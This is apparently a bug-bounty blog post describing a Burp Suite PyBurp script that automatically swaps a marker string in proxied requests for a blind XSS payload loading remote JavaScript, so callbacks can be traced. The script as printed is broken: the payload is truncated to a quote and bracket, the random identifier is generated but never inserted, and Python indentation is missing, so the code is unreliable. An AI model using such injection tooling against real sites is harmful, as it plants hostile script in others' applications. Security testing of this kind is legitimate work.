I've been running easy-xsshunter-express for blind XSS payload callbacks. It can be hit or miss to find where a callback originated from when you may have submitted the payload in a different application or website than where it fired from.
Xsshunter will respond with the same JavaScript payload no matter what you append to the URL. I've been adding information about the website, parameter, or header in the XSS payload path for this purpose. However, I've been thinking about how to be able to insert a unique string (such as randomplz) in an application and have automation take care of match and replace while appending a random string in the XSS payload for me. After I get a xsshunter callback notification, I can then take the random string and search for it in my Burp Suite history to find where it originated from.
I had been having some trouble getting a bambda script to work correctly, so while waiting for an answer to my question in the Portswigger Discord I set out to find another way. Because I'm much more familiar with Python than Java, I decided to try the Burp Suite PyBurp extension.
The PyBurp repository includes examples which were helpful in figuring out how it worked and crafting my own script. The following script demonstrates how to match and replace in any part of a request using PyBurp scripting. The code is commented appropriately, but feel free to reach out if you have any questions. I contributed this script to the PyBurp Github repository examples. Make sure you update the scope control and XSS payload domains before using it.
"""
PyBurp Script: Random XSS Payload Injector (Per-Request Random Strings)
This script intercepts proxy requests and replaces "randomplz" with a customized blind XSS payload
that loads a remote JavaScript file with a unique identifier.
"""
def urlPrefixAllowed(urls):
"""
Scope control - only modify requests to sites in scope
"""
# Allow all HTTP traffic - Burp's target scope will still apply
# Modify this to be more restrictive if needed
urls.add("http")
def handleProxyRequest(request, annotations):
"""
Check for "randomplz" and replace with final payload
"""
try:
# Check if "randomplz" appears anywhere in the request
request_string = request.toString()
if "randomplz" not in request_string:
return request, annotations
# Generate unique random string for this specific request
random_string = randomstring(8)
# Base payload template that will be injected
payload = "\">"
# Start with original request
modified_request = request
# Modify URL parameters containing "randomplz"
for param in request.parameters():
if "randomplz" in param.value():
# URL encode the payload for URL parameters
url_encoded_payload = urlencode(payload)
new_value = param.value().replace("randomplz", url_encoded_payload)
modified_request = modified_request.withUpdatedParameters(
parameter(param.name(), new_value, param.type())
)
# Modify headers containing "randomplz"
for header in request.headers():
if "randomplz" in header.value():
new_value = header.value().replace("randomplz", payload)
modified_request = modified_request.withUpdatedHeader(header.name(), new_value)
# Modify body containing "randomplz"
body = request.bodyToString()
if "randomplz" in body:
new_body = body.replace("randomplz", payload)
modified_request = modified_request.withBody(new_body)
return modified_request, annotations
except Exception as e:
print("[ERROR] Exception in handleProxyRequest: " + str(e))
import traceback
traceback.print_exc()
return request, annotations